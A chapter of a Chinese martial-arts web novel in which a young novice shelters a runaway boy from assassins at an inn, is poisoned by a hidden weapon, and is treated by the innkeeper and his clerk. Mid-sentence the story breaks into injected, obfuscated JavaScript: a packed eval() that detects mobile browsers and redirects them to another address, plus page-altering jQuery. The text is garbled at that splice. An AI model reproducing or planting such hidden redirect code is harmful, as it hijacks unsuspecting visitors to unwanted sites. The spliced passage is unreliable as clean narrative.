柜子里的呼吸急促且颤抖,吱呀一声,一个紫衣小少年就从中扑出,狼狈地倒在地上。
他的脸上还残留着泪水,一双水灵灵的眼睛盛满仓惶,长长的墨发凌乱,刘海飘逸,地上的灰尘将他的脸染得脏兮兮的,他爬起来不待站稳,立马抓住了小掩山的手,想拉着她逃跑。
小掩山难得反应快了一次,紫衣小少年感觉拉不动她,还不待转头,就被一股大力粗暴地向后拉去,直到再次被粗鲁地推进柜子里,他都没有反应过来,柜门就被关上了。
“待在这儿等我!”
他只听到那个小兄弟急切的嘱咐,外面便响起了一阵急促的脚步声。
掩山自然听到了,但她的速度是实打实练出来的,转身几步就飞窜出去,跳上后院的水缸,但临门一脚的时候她突然停下。
要再等一下。
行囊可以再取,但柜子里的客人如果被发现就一定会有危险。
可怜的呆娃子皱着脸,对这一切感到无所适从!
后院的惨叫果不其然引起了前院人的注意,不止是黑衣人,零星房间内也点起了油灯,害怕是有扒手半夜来被发现了。
黑衣人动作很快,赶到后院的时候个个杀意尽显,一眼便锁定住了院墙上的那人。
首先是个孩子,其次不是要找的任务对象,到底发生了什么?
他们毕竟是专业的,反应过来后立马用出各自看家本领,暗器在远距离下是不错的武器,此刻,关键时刻非常机敏的小光头,在武学方面跨入天才大门的她,展现出了惊人的直觉。
她左脚暗劲一使,水缸的木头盖子便正好将她这个小身板挡住大半,她捏着盖子当做盾牌。
可疏忽之下,但一把精良短小的飞刀不可避免地擦过了她的手臂,有一瞬间的刺痛。
好在敌人第一波暗器过去,已经开始试图靠近,她便趁着这时轻松蹬上院墙,随手甩了甩,手中就像变戏法一样突兀多出了好多小物件,握着收集的那些,也不知道是什么的东西,被她一手甩了出去。
这并非杂乱无用的,虽然没有确切的准头,但敌人忙着躲避,能拖延一小会儿。
“够吸引他们的注意力了吧……”
大口喘着气,掩山奋力奔逃,可静下来之后,小掩山突然发现并没有听到身后有什么危险的追逐声。
她逐渐停下来,属于小呆瓜的脑子已经脱力了,她脑袋一歪,疑惑起,一时间什么都被压了下去。
“怎么不追我?”
她郁闷了。
小孩子的情绪总来得又快又莫名其妙。
突如其来的黑衣人,他们要找的什么,被打了也不追,柜子里内向的客人,第一次用暗器打伤了坏蛋……
小掩山无语瘪了瘪嘴,捂着手臂上那道流血的伤口磨蹭着走了回去,她小心翼翼弯下腰,透过后院窄窄的狗洞往里看,正好与一个躺倒在地双眼流血,死不瞑目的黑衣人对视上了。
掩山:……
她脸色发白地站起,重新翻过院墙,后院里站着两个人,一个是伙计木头一个是胖掌柜。
胖掌柜手里还掐着最后一个黑衣人的脖子,手里啪啪啪一巴掌接着一巴掌丝毫不手软,脸色阴沉地逼问他:“谁他爹找你来的,不知道自建房维修也要钱吗?!啊!说话!”
黑衣人嘴里发出嗬嗬的声音,俨然说不出话了,木头站在旁边唯唯诺诺地不敢劝自家掌柜。
掩山拉住木头的衣角,指了指柴房,她感觉很累,有些没有力气了,只好原地蹲下顺便翻找黑衣人的衣服。
木头心领神会去帮忙查看柴房,他原以为是因为柴房里有掌柜解决的尸体所以她不敢进来,但是一进门就看到了那个——在他进来时突然合上的柜门。
他目光一凝,手向后腰探去,慢慢接近柜门,还不待他探手,柜门就自己打开,猛然一柄断刃向他急刺过来!
他眼眶张大,铛地一声,断刃被斜插过来的钗子挥开。
等等,钗子?
一转头,就见小丫头起在他旁边,手中握着一把不知是什么材质的坚硬银钗,堪堪挡在他眼前。
“当啷”一声,断刃掉在了地上,那个紫衣小少年已经来到了小丫头身边,小狗一样围着她团团转。
在门外的时候掩山突然想起来自己的宝贝行囊,赶忙站起来去看,但是先见到了柜门打开,里面的紫衣小哥眼神凶狠地拿匕首刺木头,想也没想就握着随身携带的东西上去挡住了。
木头其实也能挡住,毕竟早有防备,但还是被小丫头吓了一跳。
“你没事吧!小孩儿?你吓坏了?脸怎么这么白!”
小掩山转头,脸色苍白得吓人,她的脑袋上也冒出问号来:“唔,不害怕呀,什么白?”
说完,她感到眼前发黑,一阵眩晕袭来,一歪头,倒了。
……
小少年下意识伸手扶住歪倒的掩山,木头马上把人接了过去。
他心里乱哄哄的,莫名其妙出现的杀手和眼前脏兮兮的小孩儿究竟是怎么回事啊。
还有,这小姑娘没事吧?
木头将人放在凉席上,手边摆着纱布,他手上熟练地给人包扎,但眉头紧锁着,嘴上还一边不停问旁边拘谨站着的人。
“小孩儿,你几岁了?叫什么名字?”
小少年背着手指,板板正正地站着,嘴上老实答道:
“十…十岁了,我叫……我叫……唐井浅!”
木头掏了掏耳朵,这小孩指定没说真话,不然说个名字还支支吾吾的。
“你是流民还是什么?小流浪,你是打算赔钱呢,还是打算赔人啊?”
唐井浅懵了,先不说那个小流浪的称呼,就是这个赔钱还是赔人是什么东西。
“我……我要赔你们的投宿钱吗?”
他试探地说道。
“不是赔我们”,木头伸手探了探小和尚的鼻息,然后指着她说道:“是赔她的。”
“什么……哦,好的,如果要赔他的钱的话……等他醒了之后,我会努力凑钱给他的。”——虽然不知道为什么要给眼前的小兄弟赔钱,但出门在外,兄长说过要与人为善,不要惹是生非的好……赔就赔吧?
但老实的他明显没想到木头的下一句话。
“你忘了她刚刚帮你挡的那一遭吗?我在楼上看到的,她帮你引开注意力了,我们这的客人看着也不是太有钱的主,只有你是莫名其妙溜进来的,虽然衣服……款式看着挺贵,但脏得认不出啥样,这么凄惨,是一个人逃到这的吧?那些黑衣人就是在找你的?”
唐井浅瞪大眼睛看着木头,就这样猜出来了?
他低下头,内心十分愧疚:“我知道的,对不起,连累了他,还有你们的客栈,等他醒来我一定赔他的伤钱!”
木头没用动容:“没有,我的意思是你赔钱,得赔她的棺材钱,因为暗器伤口有毒,我们这没有解药。”
???
这么重要的事情大喘气说么?!!
“那赔人是什么!?”
“哦,赔人啊就是我知道哪里有草药解她的毒,你得去给她摘,你还得另付一些钱给我,算从我这里买其他药材的钱。”
唐井浅不假思索应下,但门口掌柜的声音突然响起:“木头!你打算背着我赚外快吗?!”
木头连忙转身,又露出一脸苦相:“掌柜的,我就是个伙计,本来就穷,您就饶了我吧。”
唐井浅看着掌柜咽了咽口水,他又一次谨记不能小看任何人,谦虚谨慎,他可记得那么多追杀他的人是怎么被赶过来的胖掌柜在怨气冲天的时候迅速解决掉的。
一掌!就凌空把人干趴下了!
江湖上真不缺高手啊。
胖掌柜摆摆手,走过去凑近小掩山,问了问她的状况,然后就从口袋里掏出一个小球,将外膜打开,把里面的小药丸给她喂了进去。
唐井浅一脸疑惑。
但木头却十分惊讶,铁公鸡今天拔毛了?
“掌柜的,你这吊命的药丸不是很贵吗?”
怎么突然舍得了?
掌柜的撇撇嘴:“这可不是我给她的,是她师傅放我这的。”
木头愣住,掩山的耳朵对于关键字眼十分敏感,她微弱的声音响在耳边:“我师傅来了吗?”
“哟,醒这么快,原本也没有那么容易死嘛,身体不错!”掌柜夸道。
“你师傅是吧,我算认识他,大概半年前从我这里路过,说自己的徒弟可能会来这里,放了个这个在我这,就算你没事,明天我也会把东西给你的。”
木头沉默了,不,他敢打包票,掌柜的绝对会贪心把东西偷偷留下,估计现在正痛心要把这么贵这么难搞的东西给出去呢,难怪对外面那些人火气那么大。
“七八岁的小和尚,独自一人,只有这个特征也够了。”
半年前?可是师傅怎么知道自己半年后会来这里找他!只可能是半年前师傅就已经预料到了现在的局面。
小掩山气闷闭眼。
确实不错,她手上的地图标注了师傅一路的行程,因为师傅每次的来信都会提到自己到哪了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538379|203890||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她就算要找师傅,也只能从师傅走过的地方找起,当然这是二师傅给她分析的。
可是,半年前的信里,师傅说的位置可不在这里啊,师傅对她说谎了!偷偷又来了这里一次。
她郁闷了。
“我师傅,是不是两年前也来过一次。”
她躺着,脸色苍白,声音更虚,但是没人理解她心里比身上更深的难受,师傅不在,没人懂她,但是师傅骗了她,出家人不打妄语但是师傅骗了他唯一的徒弟,她现在好想立刻见到师傅,然后气呼呼问他为啥要骗自己!
等见到师傅,就不理他,小掩山一定会把自己鼓成包子,背对着人生闷气。
胖掌柜眼珠转动:“是啊,那时候就来过一次。”
果然……她心里委屈极了。
木头提醒她:“只是吊命,毒没解呢,这个小流浪给你负责找药材。”
小……小流浪?
她疑惑看过去,见到那个低着头默默无言凝视着她的紫衣小哥,恍然大悟,原来是那个客人呐。
“我会负责的!我绝对会帮你找到解药!”
他的内疚更深了,这个小兄弟也才七八岁,如此年幼,他怎么可以害了她。
……
天明,掩山再一次睁眼,边上守着那个诚恳的少年,见她醒了,眼睛一亮,殷勤地递水过来。
“醒了!?你饿了吗?先喝口水吧!有没有好一点?还是差了一点?!我给你拿了两个馒头在这里,想吃就吃哈。”
小掩山眨眨眼,感觉幻视了小茶山下罗婶婶家的小阿黄。
“你叫啥?”小掩山好奇地问。
对面的人犹豫了一下,支支吾吾说:“我叫唐……唐井浅!不是什么有钱人家。”
掩山轻轻眨了眨眼,她没有问这个吧。
但是她也撑着困意认真说道:“我叫掩山,雾掩山,守得雾去山照来,八岁了,也不是什么,嗯,有钱人家,只和师傅在一起。”
“我大你两岁,叫我名字就好,那个……对不起,我连累了你,他们是来抓我的坏蛋,我是偷偷溜进来藏身的。”
唐井浅脸上两坨羞愧的红,蹲在她边上,小声说道。
掩山哦了一声,有种木着脸恍然大悟的感觉。
原来对方一直以来皱着脸小心翼翼对待她,像对个瓷娃娃一样的态度是因为这样啊。
但是她并没有像小井浅心中所想那样对他冷待,或者埋怨斥责他,而是用一种正儿八经的态度讲:“那你有没有付房钱,一文钱,我住这就是付了一文钱。”
他愣了下,住柴房里的小木柜也要给钱吗?
“我身上……没有钱,对不起……”
他为啥老是说抱歉?
小掩山呆头疑惑:“是他们伤了我你为什么愧疚?又不是你出手伤人,还要给我找药材,我很感谢你的。”
在她的一根筋思想中,没有间接的错误一说,伤人的不是你,又不是你主动要他们伤害我,难道你能预测那些坏蛋会伤到我嘛?
唐井浅愣住了,过了一会儿,他突然腼腆地一笑,他的长相有些秀气,是个会被夸奖长得真俊的孩子,皮肤比她这个天天在外疯跑的要白,微长的刘海扫至两边,露出额头来,是个金童小公子。看来在她昏睡的时候,他已经被提溜着搓过一边了。
她觉得有些可爱,如果魏摘道长在的话说不定会犀利地评价一句:“看着风流实则太正经,根本发挥不了有钱的属性啊!我一眼就能看出来他家很有钱好吗!这公子哥不如我来当啊。”
唐井浅笑了下,脸上有着很浅的酒窝:“你好特别,你是第一个对我说这种话的人,我身边的人总是说我不知感恩,要我常怀愧疚之心,但是你的说法和他们不一样,虽然我依然觉得抱歉,但好受一些了,谢谢你的安慰!小兄弟!”
小掩山抿唇弯了弯眼尾,努力伸手握住了唐井浅的手,她有些疑惑常怀愧疚之心是什么东西。唐井浅对于同龄人的接触很不习惯,但手心的温度很暖,他不自觉放松了下来。
“不是安慰,出家人不打妄语,是实话实说。”
掩山摇头,一脸认真诚恳的样子,井浅还是微笑,他觉得自己遇到了一个很好的人!想到要他愧疚的那位,他眼神有些黯淡,那是他的母亲。
“小流浪!走去找药材了!不然小心她快死了!”
木头的声音从外面传来,小掩山刚张口还想说什么,但井浅已经应声跑走了。
她想说的是:她不是小兄弟的。算了,她平时也不是很能记住这件事情,都无所谓啦!